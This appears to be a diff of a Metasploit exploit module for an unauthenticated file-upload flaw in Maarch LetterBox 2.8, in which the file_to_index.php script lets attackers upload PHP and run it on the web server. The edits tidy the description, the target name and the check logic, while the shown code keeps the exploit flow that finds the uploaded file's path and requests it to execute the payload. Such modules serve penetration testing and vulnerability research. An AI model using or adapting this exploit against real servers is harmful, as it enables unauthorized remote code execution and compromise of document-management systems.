@@ -16,11 +16,12 @@ def initialize(info = {})
16
16
super ( update_info (
17
17
info ,
18
18
'Name' => 'Maarch LetterBox 2.8 Unrestricted File Upload' ,
19
- 'Description' => %q{Maarch LetterBox 2.8 contains a flaw that allows
20
- unauthenticated users to upload files of any type due to a
21
- lack of session and file validation in the file_to_index.php
22
- script and subsequently execute PHP scripts in the context of
23
- the web server.} ,
19
+ 'Description' => %q{
20
+ This module exploits a file upload vulnerability on Maarch LetterBox 2.8 due to a lack of
21
+ session and file validation in the file_to_index.php script. It allows unauthenticated
22
+ users to upload files of any type and subsequently execute PHP scripts in the context of
23
+ the web server.
24
+ } ,
24
25
'License' => MSF_LICENSE ,
25
26
'Author' =>
26
27
[
@@ -33,7 +34,7 @@ def initialize(info = {})
33
34
'DisclosureDate' => 'Feb 11 2015' ,
34
35
'Platform' => 'php' ,
35
36
'Arch' => ARCH_PHP ,
36
- 'Targets' => [ [ 'Maarch LetterBox' , { } ] ] ,
37
+ 'Targets' => [ [ 'Maarch LetterBox 2.8 ' , { } ] ] ,
37
38
'DefaultTarget' => 0
38
39
) )
39
40
@@ -55,13 +56,11 @@ def check
55
56
res = send_request_cgi ( 'method' => 'GET' , 'uri' => letterbox_login_url )
56
57
if res . nil? || res . code != 200
57
58
return Msf ::Exploit ::CheckCode ::Unknown
58
- else
59
- if res . body . include? 'alt="Maarch Maerys Archive v2.1 logo"'
60
- return Msf ::Exploit ::CheckCode ::Appears
61
- else
62
- return Msf ::Exploit ::CheckCode ::Safe
63
- end
59
+ elsif res . body . include? ( 'alt="Maarch Maerys Archive v2.1 logo"' )
60
+ return Msf ::Exploit ::CheckCode ::Appears
64
61
end
62
+
63
+ Msf ::Exploit ::CheckCode ::Safe
65
64
end
66
65
67
66
def generate_mime_message ( payload , name )
@@ -89,11 +88,10 @@ def exploit
89
88
captures = res . body . match ( /\[ local_path\] => (.*\. php)/i ) . captures
90
89
fail_with ( Failure ::UnexpectedReply , 'Unable to parse the server response' ) if captures . nil? || captures [ 0 ] . nil?
91
90
payload_url = normalize_uri ( target_uri . path , captures [ 0 ] )
92
- print_good ( "#{ peer } - Parsed response " )
91
+ print_good ( "#{ peer } - Response parsed successfully " )
93
92
94
93
print_status ( "#{ peer } - Executing the payload at #{ payload_url } " )
95
94
register_files_for_cleanup ( File . basename ( URI . parse ( payload_url ) . path ) )
96
95
send_request_cgi ( { 'uri' => payload_url , 'method' => 'GET' } , 5 )
97
- print_good ( "#{ peer } - Executed payload" )
98
96
end
99
97
end
0 commit comments